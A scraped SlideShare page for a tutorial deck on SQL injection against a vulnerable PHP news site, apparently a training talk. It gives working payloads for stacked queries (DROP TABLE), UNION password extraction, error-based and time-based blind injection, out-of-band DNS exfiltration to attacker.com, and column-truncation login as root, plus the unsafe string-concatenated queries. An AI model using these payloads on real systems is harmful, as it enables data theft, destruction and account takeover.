SlideShare a Scribd company logo
1 of 17
Download to read offline
SQL-injection
WTF is SQL-injection?
GET /news.php?id=1337
SELECT news_title,news_text FROM news WHERE id=1337
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Title: Breaking news!
Text: Something happened!
Typical example of work with databases
Stacked Queries Injection
GET /news.php?id=1337;DROP TABLE news;
SELECT news_title,news_text FROM news WHERE id=1337;
DROP TABLE news;
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Table news will be deleted!
Add your SQL to request:
UNION based
GET /news.php?id=1337+UNION+SELECT+1,2
SELECT news_title,news_text FROM news WHERE id=1337
UNION SELECT 1,2
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Title: 1
Text: 2
Add valid SQL query and rewrite results
UNION based
GET /news.php?id=1337+UNION+SELECT+1,
(SELECT password FROM users LIMIT 1,1)
SELECT news_title,news_text FROM news WHERE id=1337 UNION
SELECT 1,(SELECT password FROM users LIMIT 1,1)
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Title: 1
Text: qwerty12345
Now, add full SQL-query and get the result
UNION based
• We can see the result of query
• Brute count of columns after UNION SELECT
• Use comment symbols to slice end of the
request: SELECT * FROM users WHERE id=1 or 1=1 -- AND
is_admin = 0
SELECT * FROM users WHERE id=1 or 1=1 # AND
is_admin = 0
Error based
• We can see mysql error, but can't print result of
SQL query
• Some functions execute inserted query first
• Use function, which return error with result of our
query to database
Error based
GET /print.php?param=name
SELECT name FROM users LIMIT 1,1
$sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1";
All ok!
No error
Error based
GET /print.php?
param=polygon((select*from(select*from(select@@version)f )x))
SELECT polygon((select*from(select*from(select@@version)f )x)) FROM users
LIMIT 1,1
$sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1";
Illegal non geometric '(select `x`.`@@version` from
(select '5.5.47-0+deb7u1' AS `@@version`
from dual) `x`)' value found during parsing
Result of query execution in error message!
Blind SQL-inj
GET /news.php?
id=1+AND+1=1+--+
SELECT * FROM news WHERE id =
1 AND 1=1 --
...
error_reporting(0);
...
HTTP/1.0 200 OK
...
We can't see the result, but ...
GET /news.php?
id=1+AND+2=1+--+
SELECT * FROM news WHERE id =
1 AND 2=1 --
...
error_reporting(0);
...
HTTP/1.1 404 Not Found
...
True False
Blind SQL-inj
We can check the result of query!
GET /news.php?id=1+AND
SUBSTRING(user(), 1, 1)="r"
SELECT * FROM news WHERE id = 1
AND SUBSTRING(user(), 1, 1)="r"
mysql> SELECT user();
root@localhost
HTTP/1.0 200 OK
... user() = r???@??????
True
Double Blind
Pages are similar, use time detection!
GET /news.php?id=1+AND+IF((SUBSTRING(user(), 1, 1)="r"),
sleep(0), sleep(10));
SELECT * FROM news WHERE id = 1+AND
+IF((SUBSTRING(user(), 1, 1)="r"), sleep(0), sleep(10));
mysql> SELECT user();
root@localhost
Response come
without waiting! user() = r???@??????
True
Blind SQL-inj
Optimization techniques:
Binary search
...SUBSTRING((SELECT
pass FROM users), 1, 1)...
a,b,c,d,e,f,0,1 2,3,4,5,6,7,8,9
e,f,0,1a,b,c,d
a,b c,d
a
a074c5929fb80888a09bc6fa0878b08d
b
a???????????????
Blind SQL-inj
Out-of-Band (Windows only)
GET /users.php?id=1 AND (SELECT LOAD_FILE(CONCAT('foo.',(select
MID(version(),1,1)),'.attacker.com')));
mysql> ...(select MID(version(),1,1))...
5
mysql>...LOAD_FILE(CONCAT('foo.',5,'.attacker.com'))...
mysql> select version();
5.5.47-0+deb7u1
Log DNS query: Request foo.5.attacker.com from ... version() = 5.?????...
Column Truncation
Registration processing:
table: users
column: login
max len: 10
GET /reg.php?user=root x 4 chars + 8 spaces + 1 symbol
mysql>SELECT * FROM users WHERE login = 'root x'
Empty set (0.00 sec)
Check passed! There is no
registered users with same
username
INSERT INTO users (login,pass) VALUES ('root x','...
mysql will cut 11th symbol, so
user will have login 'root '
0 root ...
1 root[6 spaces] ...
Column Truncation
Authorization processing:
GET /login.php?user=root[6 spaces]
SELECT login FROM users WHERE
username = 'root ' AND pass = ...
1 root[6 spaces] ...
0 root ...
1 root[6 spaces] ...
Auth check passed, show user info:
SELECT * FROM users
WHERE username = 'root '
Hello, root!
46.101.105.58:8181
or
github.com/cyberpunkych/ph2016

More Related Content

What's hot

Hacking Your Way To Better Security - DrupalCon Baltimore 2017
Hacking Your Way To Better Security - DrupalCon Baltimore 2017Hacking Your Way To Better Security - DrupalCon Baltimore 2017
Hacking Your Way To Better Security - DrupalCon Baltimore 2017Colin O'Dell
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Colin O'Dell
 
Practical JavaScript Programming - Session 8/8
Practical JavaScript Programming - Session 8/8Practical JavaScript Programming - Session 8/8
Practical JavaScript Programming - Session 8/8Wilson Su
 
Hidden in plain site – joomla! hidden secrets for code monkeys
Hidden in plain site – joomla! hidden secrets for code monkeysHidden in plain site – joomla! hidden secrets for code monkeys
Hidden in plain site – joomla! hidden secrets for code monkeysNicholas Dionysopoulos
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretssmueller_sandsmedia
 
Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
 Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011 Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011Alessandro Nadalin
 
Crafting beautiful software
Crafting beautiful softwareCrafting beautiful software
Crafting beautiful softwareJorn Oomen
 
Mirage For Beginners
Mirage For BeginnersMirage For Beginners
Mirage For BeginnersWilson Su
 
SPFx working with SharePoint data
SPFx working with SharePoint dataSPFx working with SharePoint data
SPFx working with SharePoint dataVladimir Medina
 
SPFx: Working with SharePoint Content
SPFx: Working with SharePoint ContentSPFx: Working with SharePoint Content
SPFx: Working with SharePoint ContentVladimir Medina
 
R57shell
R57shellR57shell
R57shellady36
 
Storytelling By Numbers
Storytelling By NumbersStorytelling By Numbers
Storytelling By NumbersMichael King
 
Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Craig Francis
 
CheckingforDupsUsingTriggers
CheckingforDupsUsingTriggersCheckingforDupsUsingTriggers
CheckingforDupsUsingTriggersDeepak Balur
 
Practical JavaScript Programming - Session 5/8
Practical JavaScript Programming - Session 5/8Practical JavaScript Programming - Session 5/8
Practical JavaScript Programming - Session 5/8Wilson Su
 

What's hot (19)

Hacking Your Way To Better Security - DrupalCon Baltimore 2017
Hacking Your Way To Better Security - DrupalCon Baltimore 2017Hacking Your Way To Better Security - DrupalCon Baltimore 2017
Hacking Your Way To Better Security - DrupalCon Baltimore 2017
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016
 
C#
C#C#
C#
 
Practical JavaScript Programming - Session 8/8
Practical JavaScript Programming - Session 8/8Practical JavaScript Programming - Session 8/8
Practical JavaScript Programming - Session 8/8
 
Hidden in plain site – joomla! hidden secrets for code monkeys
Hidden in plain site – joomla! hidden secrets for code monkeysHidden in plain site – joomla! hidden secrets for code monkeys
Hidden in plain site – joomla! hidden secrets for code monkeys
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
 
Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
 Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011 Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
 
Crafting beautiful software
Crafting beautiful softwareCrafting beautiful software
Crafting beautiful software
 
Android databases
Android databasesAndroid databases
Android databases
 
Mirage For Beginners
Mirage For BeginnersMirage For Beginners
Mirage For Beginners
 
SPFx working with SharePoint data
SPFx working with SharePoint dataSPFx working with SharePoint data
SPFx working with SharePoint data
 
SPFx: Working with SharePoint Content
SPFx: Working with SharePoint ContentSPFx: Working with SharePoint Content
SPFx: Working with SharePoint Content
 
R57shell
R57shellR57shell
R57shell
 
Intro to Parse
Intro to ParseIntro to Parse
Intro to Parse
 
Storytelling By Numbers
Storytelling By NumbersStorytelling By Numbers
Storytelling By Numbers
 
Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Proposed PHP function: is_literal()
Proposed PHP function: is_literal()
 
CheckingforDupsUsingTriggers
CheckingforDupsUsingTriggersCheckingforDupsUsingTriggers
CheckingforDupsUsingTriggers
 
Backendless apps
Backendless appsBackendless apps
Backendless apps
 
Practical JavaScript Programming - Session 5/8
Practical JavaScript Programming - Session 5/8Practical JavaScript Programming - Session 5/8
Practical JavaScript Programming - Session 5/8
 

Viewers also liked (8)

Race condition
Race conditionRace condition
Race condition
 
Client side
Client sideClient side
Client side
 
LFI
LFILFI
LFI
 
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
 
Race condition
Race conditionRace condition
Race condition
 
Hacking routers as Web Hacker
Hacking routers as Web HackerHacking routers as Web Hacker
Hacking routers as Web Hacker
 
Attacking MongoDB
Attacking MongoDBAttacking MongoDB
Attacking MongoDB
 
Mongo db eng
Mongo db engMongo db eng
Mongo db eng
 

Similar to Sql-Injection

03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17Eoin Keary
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlChema Alonso
 
8 sql injection
8   sql injection8   sql injection
8 sql injectiondrewz lin
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injectionnewbie2019
 
Micro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicateMicro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicateKiev ALT.NET
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)SqliChema Alonso
 
Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better SecurityColin O'Dell
 
Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASPMizno Kruge
 
How to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdfHow to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdfAppweb Coders
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingChema Alonso
 
How did i steal your database
How did i steal your databaseHow did i steal your database
How did i steal your databaseMostafa Siraj
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLPradeep Kumar
 
WordPress Security - WordCamp Phoenix
WordPress Security - WordCamp PhoenixWordPress Security - WordCamp Phoenix
WordPress Security - WordCamp PhoenixMark Jaquith
 
Agile Data Science 2.0
Agile Data Science 2.0Agile Data Science 2.0
Agile Data Science 2.0Russell Jurney
 
Agile Data Science 2.0
Agile Data Science 2.0Agile Data Science 2.0
Agile Data Science 2.0Russell Jurney
 

Similar to Sql-Injection (20)

Sql injection
Sql injectionSql injection
Sql injection
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)Sql
 
8 sql injection
8   sql injection8   sql injection
8 sql injection
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injection
 
Micro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicateMicro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicate
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)Sqli
 
Diving into php
Diving into phpDiving into php
Diving into php
 
Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better Security
 
Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASP
 
How to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdfHow to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdf
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File Downloading
 
How did i steal your database
How did i steal your databaseHow did i steal your database
How did i steal your database
 
DOODB_LAB.pptx
DOODB_LAB.pptxDOODB_LAB.pptx
DOODB_LAB.pptx
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQL
 
WordPress Security - WordCamp Phoenix
WordPress Security - WordCamp PhoenixWordPress Security - WordCamp Phoenix
WordPress Security - WordCamp Phoenix
 
Agile Data Science 2.0
Agile Data Science 2.0Agile Data Science 2.0
Agile Data Science 2.0
 
Agile Data Science 2.0
Agile Data Science 2.0Agile Data Science 2.0
Agile Data Science 2.0
 

Recently uploaded

EPANDING THE CONTENT OF AN OUTLINE using notes.pptx
EPANDING THE CONTENT OF AN OUTLINE using notes.pptxEPANDING THE CONTENT OF AN OUTLINE using notes.pptx
EPANDING THE CONTENT OF AN OUTLINE using notes.pptxRaymartEstabillo3
 
_Math 4-Q4 Week 5.pptx Steps in Collecting Data
_Math 4-Q4 Week 5.pptx Steps in Collecting Data_Math 4-Q4 Week 5.pptx Steps in Collecting Data
_Math 4-Q4 Week 5.pptx Steps in Collecting DataJhengPantaleon
 
Science lesson Moon for 4th quarter lesson
Science lesson Moon for 4th quarter lessonScience lesson Moon for 4th quarter lesson
Science lesson Moon for 4th quarter lessonJericReyAuditor
 
How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17Celine George
 
ENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptx
ENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptxENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptx
ENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptxAnaBeatriceAblay2
 
How to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptxHow to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptxmanuelaromero2013
 
18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdf
18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdf18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdf
18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdfssuser54595a
 
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Krashi Coaching
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdfSoniaTolstoy
 
Pharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdfPharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdfMahmoud M. Sallam
 
Blooming Together_ Growing a Community Garden Worksheet.docx
Blooming Together_ Growing a Community Garden Worksheet.docxBlooming Together_ Growing a Community Garden Worksheet.docx
Blooming Together_ Growing a Community Garden Worksheet.docxUnboundStockton
 
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptxPOINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptxSayali Powar
 
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions  for the students and aspirants of Chemistry12th.pptxOrganic Name Reactions  for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions for the students and aspirants of Chemistry12th.pptxVS Mahajan Coaching Centre
 
History Class XII Ch. 3 Kinship, Caste and Class (1).pptx
History Class XII Ch. 3 Kinship, Caste and Class (1).pptxHistory Class XII Ch. 3 Kinship, Caste and Class (1).pptx
History Class XII Ch. 3 Kinship, Caste and Class (1).pptxsocialsciencegdgrohi
 
Introduction to AI in Higher Education_draft.pptx
Introduction to AI in Higher Education_draft.pptxIntroduction to AI in Higher Education_draft.pptx
Introduction to AI in Higher Education_draft.pptxpboyjonauth
 
Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)eniolaolutunde
 
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptxSOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptxiammrhaywood
 
Employee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxEmployee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxNirmalaLoungPoorunde1
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityGeoBlogs
 

Recently uploaded (20)

EPANDING THE CONTENT OF AN OUTLINE using notes.pptx
EPANDING THE CONTENT OF AN OUTLINE using notes.pptxEPANDING THE CONTENT OF AN OUTLINE using notes.pptx
EPANDING THE CONTENT OF AN OUTLINE using notes.pptx
 
_Math 4-Q4 Week 5.pptx Steps in Collecting Data
_Math 4-Q4 Week 5.pptx Steps in Collecting Data_Math 4-Q4 Week 5.pptx Steps in Collecting Data
_Math 4-Q4 Week 5.pptx Steps in Collecting Data
 
Science lesson Moon for 4th quarter lesson
Science lesson Moon for 4th quarter lessonScience lesson Moon for 4th quarter lesson
Science lesson Moon for 4th quarter lesson
 
How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17How to Configure Email Server in Odoo 17
How to Configure Email Server in Odoo 17
 
ENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptx
ENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptxENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptx
ENGLISH5 QUARTER4 MODULE1 WEEK1-3 How Visual and Multimedia Elements.pptx
 
How to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptxHow to Make a Pirate ship Primary Education.pptx
How to Make a Pirate ship Primary Education.pptx
 
18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdf
18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdf18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdf
18-04-UA_REPORT_MEDIALITERAСY_INDEX-DM_23-1-final-eng.pdf
 
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
 
Pharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdfPharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdf
 
Blooming Together_ Growing a Community Garden Worksheet.docx
Blooming Together_ Growing a Community Garden Worksheet.docxBlooming Together_ Growing a Community Garden Worksheet.docx
Blooming Together_ Growing a Community Garden Worksheet.docx
 
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptxPOINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
POINT- BIOCHEMISTRY SEM 2 ENZYMES UNIT 5.pptx
 
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions  for the students and aspirants of Chemistry12th.pptxOrganic Name Reactions  for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
 
History Class XII Ch. 3 Kinship, Caste and Class (1).pptx
History Class XII Ch. 3 Kinship, Caste and Class (1).pptxHistory Class XII Ch. 3 Kinship, Caste and Class (1).pptx
History Class XII Ch. 3 Kinship, Caste and Class (1).pptx
 
Introduction to AI in Higher Education_draft.pptx
Introduction to AI in Higher Education_draft.pptxIntroduction to AI in Higher Education_draft.pptx
Introduction to AI in Higher Education_draft.pptx
 
Staff of Color (SOC) Retention Efforts DDSD
Staff of Color (SOC) Retention Efforts DDSDStaff of Color (SOC) Retention Efforts DDSD
Staff of Color (SOC) Retention Efforts DDSD
 
Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)
 
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptxSOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
 
Employee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxEmployee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptx
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activity
 

Sql-Injection

  • 2. WTF is SQL-injection? GET /news.php?id=1337 SELECT news_title,news_text FROM news WHERE id=1337 $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Title: Breaking news! Text: Something happened! Typical example of work with databases
  • 3. Stacked Queries Injection GET /news.php?id=1337;DROP TABLE news; SELECT news_title,news_text FROM news WHERE id=1337; DROP TABLE news; $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Table news will be deleted! Add your SQL to request:
  • 4. UNION based GET /news.php?id=1337+UNION+SELECT+1,2 SELECT news_title,news_text FROM news WHERE id=1337 UNION SELECT 1,2 $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Title: 1 Text: 2 Add valid SQL query and rewrite results
  • 5. UNION based GET /news.php?id=1337+UNION+SELECT+1, (SELECT password FROM users LIMIT 1,1) SELECT news_title,news_text FROM news WHERE id=1337 UNION SELECT 1,(SELECT password FROM users LIMIT 1,1) $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Title: 1 Text: qwerty12345 Now, add full SQL-query and get the result
  • 6. UNION based • We can see the result of query • Brute count of columns after UNION SELECT • Use comment symbols to slice end of the request: SELECT * FROM users WHERE id=1 or 1=1 -- AND is_admin = 0 SELECT * FROM users WHERE id=1 or 1=1 # AND is_admin = 0
  • 7. Error based • We can see mysql error, but can't print result of SQL query • Some functions execute inserted query first • Use function, which return error with result of our query to database
  • 8. Error based GET /print.php?param=name SELECT name FROM users LIMIT 1,1 $sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1"; All ok! No error
  • 9. Error based GET /print.php? param=polygon((select*from(select*from(select@@version)f )x)) SELECT polygon((select*from(select*from(select@@version)f )x)) FROM users LIMIT 1,1 $sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1"; Illegal non geometric '(select `x`.`@@version` from (select '5.5.47-0+deb7u1' AS `@@version` from dual) `x`)' value found during parsing Result of query execution in error message!
  • 10. Blind SQL-inj GET /news.php? id=1+AND+1=1+--+ SELECT * FROM news WHERE id = 1 AND 1=1 -- ... error_reporting(0); ... HTTP/1.0 200 OK ... We can't see the result, but ... GET /news.php? id=1+AND+2=1+--+ SELECT * FROM news WHERE id = 1 AND 2=1 -- ... error_reporting(0); ... HTTP/1.1 404 Not Found ... True False
  • 11. Blind SQL-inj We can check the result of query! GET /news.php?id=1+AND SUBSTRING(user(), 1, 1)="r" SELECT * FROM news WHERE id = 1 AND SUBSTRING(user(), 1, 1)="r" mysql> SELECT user(); root@localhost HTTP/1.0 200 OK ... user() = r???@?????? True
  • 12. Double Blind Pages are similar, use time detection! GET /news.php?id=1+AND+IF((SUBSTRING(user(), 1, 1)="r"), sleep(0), sleep(10)); SELECT * FROM news WHERE id = 1+AND +IF((SUBSTRING(user(), 1, 1)="r"), sleep(0), sleep(10)); mysql> SELECT user(); root@localhost Response come without waiting! user() = r???@?????? True
  • 13. Blind SQL-inj Optimization techniques: Binary search ...SUBSTRING((SELECT pass FROM users), 1, 1)... a,b,c,d,e,f,0,1 2,3,4,5,6,7,8,9 e,f,0,1a,b,c,d a,b c,d a a074c5929fb80888a09bc6fa0878b08d b a???????????????
  • 14. Blind SQL-inj Out-of-Band (Windows only) GET /users.php?id=1 AND (SELECT LOAD_FILE(CONCAT('foo.',(select MID(version(),1,1)),'.attacker.com'))); mysql> ...(select MID(version(),1,1))... 5 mysql>...LOAD_FILE(CONCAT('foo.',5,'.attacker.com'))... mysql> select version(); 5.5.47-0+deb7u1 Log DNS query: Request foo.5.attacker.com from ... version() = 5.?????...
  • 15. Column Truncation Registration processing: table: users column: login max len: 10 GET /reg.php?user=root x 4 chars + 8 spaces + 1 symbol mysql>SELECT * FROM users WHERE login = 'root x' Empty set (0.00 sec) Check passed! There is no registered users with same username INSERT INTO users (login,pass) VALUES ('root x','... mysql will cut 11th symbol, so user will have login 'root ' 0 root ... 1 root[6 spaces] ...
  • 16. Column Truncation Authorization processing: GET /login.php?user=root[6 spaces] SELECT login FROM users WHERE username = 'root ' AND pass = ... 1 root[6 spaces] ... 0 root ... 1 root[6 spaces] ... Auth check passed, show user info: SELECT * FROM users WHERE username = 'root ' Hello, root!